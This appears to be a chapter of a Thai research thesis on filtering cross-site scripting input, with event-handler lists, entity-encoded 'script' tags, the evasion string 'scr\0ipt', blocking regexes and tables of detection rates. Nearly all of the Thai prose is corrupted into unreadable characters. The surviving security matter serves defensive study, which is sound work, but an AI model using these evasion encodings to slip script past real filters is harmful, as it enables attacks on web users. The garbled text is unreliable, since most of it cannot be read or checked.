�,�$��21
ก��f)�"ก��ก���2�
'*��� �������f�ก������	*��
u��u�
�,2��
����u��'$'"��
�")$���'�������

��2��	 

3. ������	��
��'�#�2��-� ����ก�������	��
�
��f�
�����'� 4.1 ����������	��
���1"0� 
on ����)�����������z�'�21"�'�กก���u����f��+��		�
���
�������
��2�����
��f)��'ก��f/� ���� 
style "�(�������	��
��'������z�u��������ก���2�
'����$1 dynsrc �'��r223	�����
���#	ก��f/�
����$1�����zก��f)�"ก��ก���2�
'���2�����
����3,�
"/��ก�� 

 


�����'� 4.1 ������	��
��'�#�2��-� 

������	��
��'�#�2��-� 

onabort, onactivate, onafterprint, onafterupdate, onbeforeactivate, onbeforecopy, 
onbeforecut, onbeforedeactivate, onbeforeeditfocus, onbeforepaste, onbeforeprint, 

onbeforeunload, onbeforeupdate, onblur, onbounce, oncellchange, onchange, onclick, 
oncontextmenu, oncontrolselect, oncopy, oncut, ondataavailable, ondatasetchanged, 
ondatasetcomplete, ondblclick, ondeactivate, ondrag, ondragend, ondragenter, 

ondragleave, ondragover, ondragstart, ondrop, onerror, onerrorupdate, onfilterchange, 
onfinish, onfocus, onfocusin, onfocusout, onhelp, onkeydown, onkeypress, onkeyup, 

onlayoutcomplete, onload, onlosecapture, onmousedown, onmouseenter, onmouseleave, 
onmousemove, onmouseout, onmouseover, onmouseup, onmousewheel, onmove, 

onmoveend, onmovestart, onpaste, onpropertychange, onreadystatechange, onreset, 
onresize, onresizeend, onresizestart, onrowenter, onrowexit, onrowsdelete, 

onrowsinserted, onscroll, onselect, onselectionchange, onselectstart, onstart, onstop, 
onsubmit, onunload, style, dynsrc 

 

4. 
u��u�
�, ����ก� javascript, script "�t���2�ก"�(�
u��u�
�,�'������zก��f)�"ก��ก��
�2�
'���"�t��f/�����f��'$'"��
�2��
����'ก��
��2��	 
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5. ก��"*���)���'�#�2��-�����ก� "�/�'"�s���$"�ก���'��'"����
$���$1"�/�'"�s���$�		
"�����$ ���ก��"*���)���'�f/�f������2���'�21f/���
�m���+�'"�� 8 (UTF-8) ����"�(���
�m���'��'
ก��f/����ก��������#��)$�� 

 


�����'� 4.2 ก��"*���)��*�� �<� �$1 script f��+��		"�/�'"�s���$"�ก���'��'"����
$���$1
"�/�'"�s���$�		"�����$ 

�+��		ก��"*���)�� < script 

"�/�'"�s���$"�ก���'��' 
"����
$�� 

&#x3C; &#x73;&#x63;&#x72;&#x69;&#x70;&#x74; 

"�/�'"�s���$�		 
"�����$ 

&#60 &#115&#99&#114&#105&#112&#116 

 

4.3 ก	���	�	�� ����d� ��d  
"
�t����t����z+ก#�l��*���"�(�������ก��"�ก"��/�� "�t���u�ก��
��
����$��ก��f/����
���f/�

k���"	����"����������ก�� ���"���f/����"
�t����t��$1"$t�ก�+��		ก���u�����'�
���ก�� 2�ก����
"�t��"���"�s	"
�t����t�21�u�ก��
��)�������$1"กs	
��2�ก�����f�"#2�'�"	����"�����u������+� "/�� 
/t������� ��$��*������� $u���	 "�&��("กs�, �#�
�) "�t��#	������u�ก��������
�������	

���
��+��		ก���u�����'�
�������$1�u�ก������*�����
�������	�����"����"���� ��ก2�	ก��

�	�����'�"����"����
�	ก$�	��f��+��		"�sก��"#t��
��2��	k$
���
��+��		�'����"$t�ก��� 
���21����	��2�
�	
��/3�����	*���
�$1�+��		�$���u�ก��������k$��ก�� ��3�ก��
�u����*��"
�t����t����
���+��'� 4.1 

 

 

�+��'� 4.1 ก���u����*��"
�t����t� 
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4.4 ��4�ก	��/� �f���0���e���� 
"#t��f)�ก��
��2��	�����z�u�����1��ก ก������	�'������
���z+ก$�����	����/3�

��ก*�1�'�กu�)�����ก����'�"�'�ก�����"
s� (token) ����f�ก������	 
��ก������	21z+ก�����f�
$�ก -1����+� 

 

 
�+��'� 4.2 �+��		*��/3�����	�'�21z+ก������u�ก������	 

 

"�t���2�กก��
�	�����'�
�	ก$�	���'
���"�(���������21�'$�ก -1�'�")�t��ก�	/3�
����	�'�����������+�ก��� �������"#t��f)�����f2��������'�
��2"2�"�(�k$��2�กก������	�'�"
�t����t�
���"*����2��2u�"�(�
����'��"
s�f�ก���1	3z��ก������	���"�(������'�"
�t����t����"*���� 

�
�������	21"�(��
����'������2�กก���u����f��
�$1�+��		���21�u�ก�������ก��
����	��2�
�	2��21)�3�ก���u���� �����
�$1�+��		ก���u����21�'ก���u�����'������        
"#���)$��'��
ก
���ก�� "�t���2�ก"�v�)���*��ก������	*���
�$1�+��		�
ก
���ก���$1
��&'ก���v��ก���')$���+��		�����'���$1"�'������'� 

1. �+��		ก��
��2��	#t��m�� �
�������	21"�(�
���'$'"��
������
������+��'� 4.3 
 

 
�+��'� 4.3 �+��		*���
�������	�$1
������� 

 

− ก������	 �u�ก��
��2��	���ก������'$'"��
��'��u�
�,"	t���
��������	 

− ก��
��2��	 �u�ก����ก2�	ก��
�	�������"ก��ก��"�$'�����$�*���'$'"��
��'�
�����)�t���� z�����"ก��ก��"�$'�����$�*���'$'"��
�zt����"�'��� 

ก���2��k$ ก�-'k$
��2��	������"�'��� �u�ก���2��k$���"�'���"#��1�����zf/�
�'$'"��
�
��f���� z�����"�'�������2��k$ 
2. f��+��		ก��
��2��	��sก �	��"�(�ก��
��2��	�'$'"��
� 
��2��	������	��
� 

�$1ก��
��2��	
u��u�
�, 
f�����*��ก��
��2��	�'$'"��
� �
�������	21"�(�ก��f/��'$'"��
��'��'
���

"�'���
+�ก�	������	��
��'����"�(����
���"#t���v��ก��ก�����$	�'$'"��
��'����"*��������
"�t���2�ก�'������	��
��'�"�(����
��� ���$1"�'��"#���"
������f�
�����'$'"��
��'�
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#�2��-�ก�	������	��
��'�f/�����f�ก������	f�0�
k��ก 
�����'� ก-1 �
�������	
"�(�������+��'� 4.4 
 

 
�+��'� 4.4 �+��		*���
�������	�$1
�������*��ก������	�'$'"��
� 

 

− ก������	 �u�ก������'$'"��
��'�
��#�2��-�������	 �
�������	"�(�������+�
�'� 4.4 ����'$'"��
�21"�(��'$'"��
��'�"�'��� f�*-1�'�������	��
�"�(�������	��
��'����
"�'��� 

− ก��
��2��	 �u�ก����ก2�	ก��
�	�������"ก��ก��"�$'�����$�*���'$'"��
��'�
�����)�t���� ����
��2"g#�1�'$'"��
�"������� 2�ก�+��'� 4.4 
t�ก��
��)� <iframe z��
���"ก��ก��"�$'�����$�zt����"�'����$1�u�ก��"กs	k$�'�������"�(�$��
���3,�
-���
��3,�
1 ����zt������3,�
"�t�����"ก��ก��"�$'�����$�*���'$'"��
��'����"*�����$1
�����3,�
"�t��"ก��ก��"�$'�����$�"#t��"กs	���f/��2��k$ 

f�ก��
��2��	������	��
� "�t���2�กก���v��ก��*�����wrx�"����"���������z
�u����)$����&' ก������	2��
��������f��+��'�fก$�"
'��ก�	ก���2�
')�t�"�(��+��		�'�   
������	��
����21�u������� 2��f/��'$'"��
��'�"ก'���*���ก�	������	��
��'�#�2��-���/���f�
ก���u�ก������	"#t��"�(�ก��$�
���k��#$���'���221"ก��*���f�ก��
��2��	          
�+���$1"�'��"#���"
�����f�
����������	��
��'�#�2��-�ก�	�'$'"��
��'�"ก'���*����'�f/�����
f�ก������	f�0�
k��ก ก 
�����'� ก-2 ����
�������	"�(�ก��f/�������	��
��'��'

���"�'���
+�ก�	�'$'"��
��'�������	��
����������z�u����������� ����+��'� 4.5 ���21��
"�$'����'$'"��
�f�ก������	�'�������	��
������u�������������2�)��ก���2��21�u�ก��
"�$'���������	��
�"#t��"�(�ก������f2���������	��
����ก$�����������zz+ก"�'�กf/������� 

�������กs
��"#t��"�(�ก��$�ก������"�$t��2���u�ก������	���f/�������	��
�
f�$�ก -1�'�"�(��
���&����� (��������+�f���sก) z������'ก���v��ก�� (#	������	��
��'�
�������+�f�ก��
�	����) 2���u�ก������	������	��
�f��+��		�'�������	��
�21
�����z�u�������������ก$�����*���
�� 
 



 

 

36

 
�+��'� 4.5 �+��		*���
�������	�$1
�������*��ก������	������	��
� 

 

− ก������	"	t���
�� ���������	��
�������	f��+��		�
��� 

− ก��
��2��	"	t���
�� �u�ก����ก2�	ก��
�	����
��2��	ก��"�$'�����$�*��     
������	��
��'������ z�����"ก��ก��"�$'�����$�f)��u�ก������	 2 
�� f�ก�-'#	
ก��"�$'�����$�zt�����'ก����ก2�	������	��
��$1���
����u�ก������	 2 

− ก������	2 �u�ก������	������	��
����f/��'$'"��
��'�"ก'���*���ก�	������	��
��'�
#�2��-�����������	 ������������	��
�"�(�)$�ก�$1��"�$'����'$'"��
��'�
"ก'���*���ก�	������	��
���2�)��2��"�$'��������������	��
�
��z�����$1z��"�(� 
�'$'"��
��'�"
��u�ก������	���$�����
�������	��u��'กf�ก�-'�'��'$'"��
�����������
��	��3,�
����
t�"/s
2�ก$��
���3,�
-�����3,�
 2 ก��� 

− ก��
��2��	2 �u�ก����ก2�	ก��
�	�����$��
��2��	ก��"�$'�����$�*��     
�'$'"��
� �u�ก��"กs	k$�'�������"�(�$��
���3,�
-�����3,�
2 ����21��3,�
"�t�����
"ก��ก��"�$'�����$�*���'$'"��
��'����"*�����$1�����3,�
"�t��"ก��ก��"�$'�����$�  
"#t��"กs	���f/�ก�	ก������	������	��
�
��
���� ก�-'�'$'"��
�����'ก��"�$'�����$�
�$1#	������	��
��'����"*����21zt����"�'��� �
�z���'$'"��
��'ก��"�$'�����$�������
21#	������	��
�)�t����21zt�������"�'��� 

f�ก��
��2��	
u��u�
�, �
�������	"�(�ก��f/��'$'"��
��'�#�2��-�"#���"
��
��/���f�ก������	 �����z�+���$1"�'���'$'"��
��'�#�2��-�"#���"
�����f�
����      
�'$'"��
��'�#�2��-�"#���"
��ก�	������	��
��'�f/�����f�ก������	f�0�
k��ก ก 
����
�'� ก-3 ���
u��u�
�,21f��f�����
�� (value) *��������	��
�����+��'� 4.6  
 

 
�+��'� 4.6 �+��		*���
�������	�$1
�������*��ก������	
u��u�
�, 

 

− ก������	"	t���
��  ���
u��u�
�,������	 
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− ก��
��2��	"	t���
�� �u�ก����ก2�	ก��
�	����
��2��	ก��"�$'�����$�*��

u��u�
�,�'������ z�����"ก��ก��"�$'�����$�f)��u�ก������	2 f�ก�-'#	ก��
"�$'�����$����
����u�ก������	2 �$1zt�����'ก����ก2�	
u��u�
�, 

− ก������	2  �u�ก������	�'$'"��
��'�#�2��-�"#���"
�� 

− ก��
��2��	2  �u�ก����ก2�	ก��
�	�������"ก��ก��"�$'�����$�*���'$'"��
�
�$1������	��
��'������)�t���� ���"กs	k$�'�������"�(�$��
���3,�
-�����3,�
3 "#t��
"กs	���f/��2��k$�$1f/��u�ก������	
���� ����zt������3,�
"�t�����"ก��ก��
"�$'�����$�*���'$'"��
��$1������	��
��'����"*�����$1�����3,�
"�t��"ก��ก��
"�$'�����$� �����")
3�'��'ก��
��2��	������	��
�����"#��1�'$'"��
��'�#�2��-�
"#���"
��21���"�(����
���z��������	��
���������	��3,�
f)�f/���� 

− ก������	3 �u�ก������	
u��u�
�,���f/�����ก�	�'$'"��
��'����2�ก$��
���3,�
-
�����3,�
 3 ���f/�"g#�1�����'���3,�
"������� 

− ก��
��2��	3 �u�ก����ก2�	ก��
�	�����$��
��2��	ก��"�$'�����$�*��
u�
�u�
�, z��
u��u�
�,�'����"*��������'ก��"�$'�����$�zt��������'ก����ก2�	
u��u�
�, 

ก���2��k$ ก�-'k$
��2��	������"�'����u�ก���2��k$�����
�������	�'����
"*�����$1������k$ก����3,�
*���'$'"��
� ������	��
��$1
u��u�
�,��ก��f)����	
"�(�ก��f)�*���+$�����")
3�'��2��"
t��"�(�"#��1�������v��ก���1�� 
3. f��+��		ก��
��2��	��ก*�1�$1ก��"*���)�� "�(�ก��
��2��	$�ก -1ก��

�v��ก��*��"����"�����'��'��+����
��2��	ก����ก2�	��ก*�1�$1
��2��	ก����ก2�	
ก���2�
'�		"*���)�� 

f�����*��ก��
��2��	ก��"*���)�� �
�������	21"�(��
����'���+�f�$�ก -1
ก��"*���)�����������2�ก��ก*�1)�t��'$'"��
�)�t�
u��u�
�, ����ก� �<�, <script, script, 
javascript f��+��		ก��"*���)���'�#�2��-�����+��'� 4.7 ����"�v�)���ก��
��2��	"�(�
ก��
��2��	���"�t����##$�"
/�����	�
�������	�'�"*���)�����$��21ก��f)�"ก��"�(�ก��
�2�
'*������)�t���� �������2�����2u�"�(�
���
��2��	�3ก
u��3ก�'$'"��
������f��+��		ก��

��2��	�'� 2 
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�+��'� 4.7 �+��		�
�������	�$1
�������*��ก������	ก��"*���)�� 

 

− ก������	��ก*�1�u�
�, ��� �<� ������	f��+��		ก��"*���)���'�#�2��-� 

− ก��
��2��	��ก*�1�u�
�, ��ก2�	ก��
�	����
��2��	ก��"�$'�����$�*��
�
�������	�'����"*���� z��"ก��ก��"�$'�����$�"�(� �<� *�����zt����"�'��� ก�-'
"�$'�����$�"�(�������t���'����f/� �<� zt����"����"�����'ก��
��2��	"*���)���$1f�
ก�-'����'ก��"�$'�����$�21�u���#�2��-�#����ก�	k$ก��
��2��	"*���)��*��
�����t�� 

− ก������	�'$'"��
� ��� <script ������	f��+��		ก��"*���)���'�#�2��-� 

− ก��
��2��	�'$'"��
� ��ก2�	ก��
�	����
��2��	ก��"�$'�����$�*���
���
����	�'����"*���� ก�-'"ก��ก��"�$'�����$�"�(� <script zt����"�'���z��
"�$'�����$�"�(�������t���'����f/� <script zt����"����"�����'ก��
��2��	"*���)��
�$1f�ก�-'����'ก��"�$'�����$�21�u���#�2��-�����ก�	k$ก��
��2��	"*���)��
*�������t�� 

− ก������	
u��u�
�,1 ���
u��'��u�
�,������	f��+��		ก��"*���)���'�#�2��-� 

− ก��
��2��	
u��u�
�,1 ��ก2�	ก��
�	����
��2��	ก��"�$'�����$�*���
���
����	�'����"*���� z��"ก��ก��"�$'�����$�"�(�
u��u�
�,*����� (script, javascript) 
zt����"�'��� ก�-'"�$'�����$�"�(�������t���'����f/�
u��u�
�,zt����"����"�����'ก��

��2��	"*���)���$1f�ก�-'����'ก��"�$'�����$�21�u���#�2��-�#����ก�	k$
ก��
��2��	"*���)��*�������t�� 

− ก������	
u��u�
�,2 ���
u��u�
�,f��+��		ก��"*���)���'�#�2��-����f/�����ก�	
�'$'"��
��'�#�2��-�"#���"
��������	 ���f�����*���'$'"��
��$1������	��
�21
�������u�ก��"*���)���$1
u��u�
�,21z+กf�����f�����
��*��������	��
� 

− ก��
��2��	
u��u�
�,2 ��ก2�	ก��
�	����
��2��	ก��"�$'�����$�*���
���
����	�'����"*���� z��"ก��ก��"�$'�����$�"�(�
u��u�
�,*����� (script �$1 
javascript) zt����"�'��� ก�-'"�$'�����$�"�(�������t���'����f/�
u��u�
�,zt����     
"����"�����'ก��
��2��	ก��"*���)���$1f�ก�-'����'ก��"�$'�����$�21zt����"�'���
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"/��ก��"#��1"	����"���������z��$�ก��"*���)��f)��u�������"�t����+�f�����
�� 
*��������	��
��'���+�0��f
���sก 

ก���2��k$  �u�ก���2��k$ก��
��2��	ก��"*���)���$1
���"�'��� z������'ก��
�v��ก��21�u�ก����������ก�� ���f�ก���2��k$ก��
��2��	ก��"*���)��z���3กก��

��2��	���"ก��ก��"�$'�����$�*�������'����"*����zt��������'ก��
��2��	ก��"*���)�� 
�
�z���'ก��"�$'�����$�zt�����'ก���v��ก�� �$1"�t���'
���"�'���"ก��*���21�2����")
3
��ก��f)����	 "/�� �
���ก$��"�(��'$'"��
��'�"�'�������� <script )�t�"#��1�����zf/�
ก��"*���)������ก�	������	��
���+�0��f���sก���"�(�
�� 

f�����*��ก��
��2��	��ก*�1 �
�������	"�(���ก*�1�'��u�ก������	����21
���"*����"�(������ก*�1*����ก*�1�'�#�2��-� ����+��'� 4.8 �����ก*�1�'�#�2��-�����ก�   
> < ' " \ / & #  
 

 
�+��'� 4.8 �+��		�
�������	�$1
�������*��ก������	�����ก*�1 

 

− ก������	 ��������ก*�1�'�#�2��-�������	 _>_'_"_\_/_&_#_<_ 

− ก��
��2��	 �u�ก����ก2�	ก��
�	����
��2��	ก��"�$'�����$�*����ก*�1�'�
����������%��*'�$���/���f�ก��
��2��	"#��1ก���v��ก�������z�u����)$��
�		����ก��f/� \ "#���"*����f)���ก*�1��������z�u�������)�t�"�$'�����$���ก*�1f)�
��+�f��+�ก��"*���)�� 

ก���2��k$ �u�ก���2��k$����'ก���v��ก����ก*�1
��f��������v��ก��
��f� 
4. f��+��		ก��
��2��	���ก���2�
'2����
�������	21"�(��
����'���	���2�ก 

[24] ����+��'� 4.9 
 

 
�+��'� 4.9 �+��		�
�������	�$1
�������*��ก������	 

 

− ก������	 ����
����2�
'2�ก [24] ���u�ก������	 
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− ก��
��2��	 �u�ก����ก2�	ก��
�	���� z������'ก��"�$'�����$��$���
���
����	�����zก��f)�"ก����sก���zt����"�'���)�t�"�$'���"�(��'$'"��
����
��� 
(<script )�t� <iframe) zt����"�'��� )�t����#	 script: ��+�0��f� < > zt����"�'���
"#��1"�(�ก��"�'�ก�
���
�*����u���� 

ก���2��k$  �u�ก���2��k$���"�'���"#��1f/��
����2�
'f� 
�������กs
��"
�t����t�"�(�"#'��ก��
��2��	ก���v��ก�������%��ก���u�����'�

��##$�"
/�����3,�
f)�f/������%�������"������� �������ก���2�
'
�����
��
���
����		�'�"ก��
2�ก
���k��#$��*��k+�#�l���'�*��
�����	
�	�u�f)�"ก��ก���2�
'2�ก�����'�������f)�k+�f/�  
f/����21��������z
��2��	��� �����"/��ก�-'���"	�
�����
��
���
��� 

�u�)��	f�"�t���*���������'�21f)�*���+$f�ก������
�ก�	k+�f/�����2�กก���'�"�(�ก�����       
�'$'"��
��'�"�'���������	���
��f�*-1�'�f/����*���+��		ก��
��2��	#t��m������2��"
t��
��ก��z��#	���"�'�������+��'� 4.10 "�(�ก���u�f)���	���	z��
���"�'���2�กก������'ก���v��ก��
*��wrx�"����"���� �������ก���2��"
t���'����ก�*���2��"�(�������f)�*���+$f�ก������
�ก�	k+�f/�f�
"	t���
�� 

 

 
�+��'� 4.10 
�������ก���2��"
t��*��"
�t����t�f��+��		ก��
��2��	#t��m���'�"�(�������f)�

*���+$f�ก������
�ก�	k+�f/�f�"	t���
�� 



 

 

�����  5 
 

ก	��/� ����V�ก	��/� � 
 

f�	��'�21ก$���z����&'ก����$���$1k$ก����$��*��"
�t����t� ����"�(�ก����$��ก��
�u����*��"
�t����t�f�ก��
��2)�23�����*��ก���v��ก���'��'
��
�����
��
���
������ก��
��$���	��"�(� 2 ก����$��
t�ก����$��"	t���
���$1ก����$��"#���"
�� f�ก����$��
"	t���
��ก������	���f/�ก���v��ก���'��
ก
���ก�� 4 �+��		"#t��"��'�	"�'�	�$1����	ก��
�u�����1)������&'�'�f/��
����2�
'2�������"�(���&'�'�ก������	����������f/�ก�	"�
��
�'�����u�"���
*������������%��
����+��'���	���2�ก�)$��
���y��������
�������	 �$1f�ก����$��"#���"
��
ก������	f/�ก���v��ก���'��ก��*2�กก����$��"	t���
�������%��k$2�กก����$��"	t���
����
/���"#t��f)������z"��'�	"�'�	ก���u�������/��"2� 

5.1 ��4�ก	��/� � 
ก����$��*�������2���'� ��&'ก������	�'�f/�"�(�ก��
��2��	ก���v��ก��*��wrx�      

"����"����
�������'�"�'���f�ก��"ก�����
�������ก���v��ก���'��'���
����3,�
f)�f/���� �����
ก
���ก�	
ก������	f�����t���'�����f),�"�(�ก���u�"#t������	����'�
����2�
'�'�"�'�ก�
���
�*����u�������
)�t���� ��")
3�'�"��f/���&'����	�		�'�"#��121�����zf)�*���+$*��ก���v��ก���'��'��+���ก����� 

����u�"���ก����$��	�"
�t����$s��s�� (laptop) ���"�$
����+�� (Intel Core Duo) 1.66 
ก�ก1"������� (GHz : Gigahertz) ��� (RAM) 1.5ก�ก1�	�� (GB) �'�
��
�����������"�sก��#'�������/�� 
"��������#
2 (Windows XP Home Edition Service Pack 2), �1�#/' 2.2.4 �$1#'"�/#' 5.2.1 
����f/�"�(�����"����"�����$1�
$�"��
�f�ก������	 �$1"
�t����t��'�#�l��*����u�ก��
��
���"�(�ก��
�u����"#���"
��$�	�������ก�� 2.0.0.13 ���ก����$���'�f/��	��"�(� 2 ก����$������ก�ก��
��$��"	t���
���$1ก����$��"#���"
�������'���$1"�'������'� 

5.1.1 ก	��/� ���d+ ��2� 
f�ก����$��"	t���
��"�(�ก����$��ก���u����*��"
�t����t�����u�ก��
��2��	

23�����2�ก��$"
����'��'�+��		ก���v��ก���
ก
���ก��"#t��"��'�	"�'�	ก���u����*��"
�t����t�f�
�+��		�'� 2 (�+��		ก��
��2��	��sก) �$1 4 (�+��		ก��
��2��	���ก���2�
'2���) 
��ก��
�v��ก��$�ก -1
���y�'��'ก��f/����2��������'�+��		ก���v��ก���'�f/�f�ก����$�����
�����'� 

1. ����'ก���v��ก�� "#t������	ก���u����f�ก��
��2��	"	t���
�����"
�t����t�
�u�������z+ก
����$1"�t���2�ก����'ก���v��ก���
�������	����)��21
���z+ก
�2��"
t�� 
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2. ก � � �v � � ก� � �'� �' 23 � �� � � � � ก  
t � �' $� ก  - 1 * � � �� # 2 �� " � ก+ $ � 
<[^>]script*\"?[^>]*> f�ก��
��22�	 script �$1 style �$1f/�$�ก -1*��
��#2��"�ก+$� <[^>]*body*\"?[^>]*> 
��22�	 body �$1 onmouseover ����
�+��		ก���v��ก���'� 2 �'�����u���2�ก�
��*��#'"�/#'�3
 (PHP-Nuke) [49] 
"����/��� 7.9 �����'23�����
��
�����
��
���
�������'�ก$���z��f� [50] 

3. ก���v��ก���'��ก��* "�(�ก���v��ก���'��u�ก���ก��*2�ก 2. f/�$�ก -1*��
��#2��"�ก+$� <[^>]script*\"?[^>]* �u�ก��
��22�	 script �$1 style �$1
��#2��"�ก+$� <[^>]*body*\"?[^>]* 
��22�	 applet, form, iframe, img, 
meta, object, body �$1 onmouseover ����+��		ก���v��ก���'� 3 ����u���
2�ก*��"�����1"�t���ก���2�
'
�����
��
���
���f�#'"�/#'�3
 [50] 

4. ก���v��ก���'��*s���� "�(�ก���v��ก���'�
��2)�
u��'�
��22�	�$1���
��22�	
ก��"*���)�������$��)��"#t��
��2��	���
��ก�	
u��'��v��ก��)�t���� ���

��22�	 javascript, vbscript, expression, applet, meta, xml, blink, link, 
style, script, embed, object, iframe, frame, frameset, ilayer, layer, 
bgsound, title, base �$1 on ������	��
�����)�������+��		ก���v��ก���'� 4 
����u���2�ก������*���
$$����� (Kallahar) [46] 

f�ก����$���'�����u�ก������	"g#�1"�&���#�
�����"�(�ก��"��'�	"�'�	ก���u����
2�กก��
��2��	�+��		�'� 2 ����"�(���&'ก��"�'�กf/���sก�'�"�(����������)���'��'
���"�'���ก�	��&'
�		�'�����f/�������
t�ก��
��2��	�+��		�'� 4 �'�"�(�ก��f/��
����2�
'2���"#t��f)�")s�z��
���
�
ก
����1)����"�
��
������ก�	�����'�"��f/�"#���"
��*����� 

5.1.2 ก	��/� ���������� 
f�ก����$��"#���"
��"�(�ก����$��ก���u����*��"
�t����t�����u�ก��
��2��	

23�����*����$"
����'��'$�ก -1fก$�"
'��ก�	 [50] ����"�(��+��		ก���v��ก���'�f/�f�ก����$��
"	t���
���+��		�'� 3 �
�����ก��*ก���v��ก�������%��k$ก��
��2��	ก���v��ก���+��		�'� 3 2�ก
ก����$��"	t���
�����u�ก���ก��* ��")
3�'�"$t�กf/��+��		ก���v��ก���'� 3 2�กก����$��
"	t���
��"#��1"�(�ก���v��ก���'��'ก��
��2��	#���
���
��������'
���
��	
$3��������21�u�
f)�")s�k$���/��"2�ก��� f�*-1�'��+��		ก���v��ก���'� 2 �'ก��
��2��	��+�"����'������$1�����	
ก����1�u�f)����	��3�"�(��+��		ก���v��ก���'� 3 ��+��$��2������u���f/��'ก �����+��		ก��
�v��ก���'� 4 2�กก����$��"	t���
�������'
���
��	
$3�
���*�����กz���u���f/�21�u�f)�")s�
k$������/��"2���ก ������3��$���'�+��		ก���v��ก���'�f/�f�ก����$�����
�����'� 
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1. �+��		��%���'$'"��
� "�(�ก�����	��3�ก���v��ก�������%���'$'"��
��'�ก��
�u�����+��		ก��
��2��	���ก���2�
'2���f�����*��ก����$��"	t���
��
�2����ก�� ("#���ก��
��22�	 base, bgsound, div, frameset, xss, layer, 
embed, link, table, br, scr\0ipt, script, a) �u�f)�ก��
��22�	����)��"�(�
��#2��"�ก+$� <[^>]script*\"?[^>]* �u�ก��
��22�	 script, style ��#2��"�ก+$�
�		 <[^>]*body*\"?[^>]* 
��22�	 applet, form, iframe, img, meta, 
object, body, onmouseover, base, bgsound, div, frameset, xss, layer, 
embed, link, table, br, script, ��#2��"�ก+$��		 <[^>]*SCR.0IPT*\"?[^>]* 
�u�)��	
��22�	 scr\0ipt �$1��#2��"�ก+$��		 <a[^>]*.*\"?[^>]* �u�)��	

��22�	 a 

2. �+��		��%��������	��
� "�(�ก�����	��3�ก���v��ก�������%��������	��
��'�
ก���u�����+��		ก��
��2��	���ก���2�
'2���f�����*��ก����$��
"	t���
���2����ก�� ("#���"
��ก��
��22�	 href, src, style, rel, background, 
size) �u�f)�ก��
��22�	����)��"�(���#2��"�ก+$� <[^>]script*\"?[^>]* �u�
ก��
��22�	 script �$1 style �$1��#2��"�ก+$��		 <[^>]*body*\"?[^>]* 

��22�	 applet, form, iframe, img, meta, object, body, onmouseover, 
href, src, style, rel, background, size 

3. �+��		��%���'$'"��
��$1������	��
� "�(�ก�����	��3�ก���v��ก�������%�� 
�'$'"��
��$1������	��
��'�ก���u�����+��		ก��
��2��	���ก���2�
'2���
f�����*��ก����$��"	t���
���2����ก�� ("#���"
��ก��
��22�	 base, 
bgsound, div, frameset, xss, layer, embed, link, table, br, scr\0ipt, 
script, a �$1 href, src, style, rel, background, size) �u�f)�ก��
��22�	
����)��"�(���#2��"�ก+$� <[^>]script*\"?[^>]* �u�ก��
��22�	 script, style 
��#2��"�ก+$��		 <[^>]*body*\"?[^>]* 
��22�	 applet, form, iframe, img, 
meta, object, body, onmouseover, base, bgsound, div, frameset, xss, 
layer, embed, link, table, br, script, href, src, style, rel, background, 
size ��#2��"�ก+$��		 <[^>]*SCR.0IPT*\"?[^>]* �u�)��	
��22�	 scr\0ipt 
�$1��#2��"�ก+$��		 <a[^>]*.*\"?[^>]* �u�)��	
��22�	 a 

4. �+��		��%����sก "�(�ก�����	��3�ก���v��ก�����f/��'$'"��
��$1������	��
�
�$1
u��u�
�,�'�ก���u�����+��		ก��
��2��	��sกf�����*��ก����$��
"	t���
���'��2����ก�� ("#���"
��ก��
��22�	�'$'"��
� embed, layer, base, 
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bgsound, blink, frame, ilayer, input, frameset, link, script, style, title, 
xml "#���ก��
��22�	������	��
� dynsrc, style, on ������	��
�����)�� "#���
ก��
��22�	
u��u�
�, javascript �$1 script) ��3��$���'ก��
��22�	����)��
"�(���#2��"�ก+$� <[^>]script*\"?[^>]* �u�ก��
��22�	 script �$1 style �$1
��#2��"�ก+$��		 <[^>]*body*\"?[^>]* 
��22�	 applet, form, iframe, img, 
meta, object, body, onmouseover, embed, layer, base, bgsound, blink, 
frame, ilayer, input, frameset, link, script, style, title, xml, javascript, 
dynsrc �$1 on ������	��
�����)�� 

���21"�(�ก��"��'�	"�'�	ก���u����2�กก��
��2��	�+��		�'� 2 ก�	ก��
��2��	
�+��		�'� 4 "#t��f)�")s�z��
����
ก
��������/��"2� ���z��f)�������	z��k$*��ก������	"�t��
ก���v��ก��"�t��������	�ก�
��ก���2��"
t��f�$�ก -1
���y�$�� 

5.2 V�ก	��/� � 
2�กก����$���������/3� k$ก����$��*��ก����$��"	t���
������������
�����'� 5.1 

�$1"�t��
��"�(�"����"�s�
�2�ก�
�������	�'����������)���$����3�k$������
�����'� 5.2 �$1  
k$ก����$��*��ก����$��"#���"
������������
�����'� 5.3 �$1"�t��
��"�(�"����"�s�
�2�ก 
�
�������	�'����������)���$����3�k$������
�����'� 5.4 

 


�����'� 5.1 k$ก���2���
����'�k���ก���v��ก��2�กก����$��"	t���
���'��u�ก��
��2��	����
�+��		�'� 2 �$1�+��		�'� 4 "�t������	ก�	ก���v��ก��f��+��		
���y 

�+��		ก���v��ก�� 
2u�����
����'�k���ก���v��ก��
2�กก��
��2��	�+��		�'� 2 

2u�����
����'�k���ก���v��ก��2�ก
ก��
��2��	�+��		�'� 4 

����'ก���v��ก�� 3643 103 

�'23�������ก 3470 71 

ก���v��ก���'��ก��* 2868 30 

�*s���� 4 17 
 

2�ก
�����'� 5.1 "�(�k$ก������	ก���u����*��"
�t����t�f�ก��
��2)�23����� 

�����
��
���
������f/��+��		 2 �$1�+��		�'� 4 ����	ก�	ก���v��ก��f��+��		
���yf�����
*��ก����$��"	t���
�� 
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�����'� 5.2 k$ก���2���
����'�k���ก���v��ก��2�กก����$��"	t���
���'��u�ก��
��2��	����
�+��		�'� 2 �$1�+��		�'� 4 "�t������	ก�	ก���v��ก��f��+��		
���y"�(�"����"�s�
� 

�+��		ก���v��ก�� 
"����"�s�
��
���k���ก���v��ก��
2�กก��
��2��	�+��		�'� 2 

"����"�s�
��
���k���ก���v��ก��
2�กก��
��2��	�+��		�'� 4 

����'ก���v��ก�� 100% 100% 

�'23�������ก 95.25% 68.93% 

ก���v��ก���'��ก��* 78.73% 29.13% 

�*s���� 0.11% 16.50% 
 

2�ก
�����'� 5.2 "�(�k$ก������	ก���u����*��"
�t����t�f�ก��
��2)�23����� 

�����
��
���
������f/��+��		 2 �$1�+��		�'� 4 ����	ก�	ก���v��ก��f��+��		
���yf�����
*��ก����$��"	t���
�� �������k$"�(�"����"�s�
�*���
����'������zk���ก���v��ก��"�'�	ก�	
2u�����
�������	����)�� 

 


�����'� 5.3 k$ก���2���
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�t����t�*�����"#t����$����������u�ก��f/�*���+$2�ก�)$��
����+�
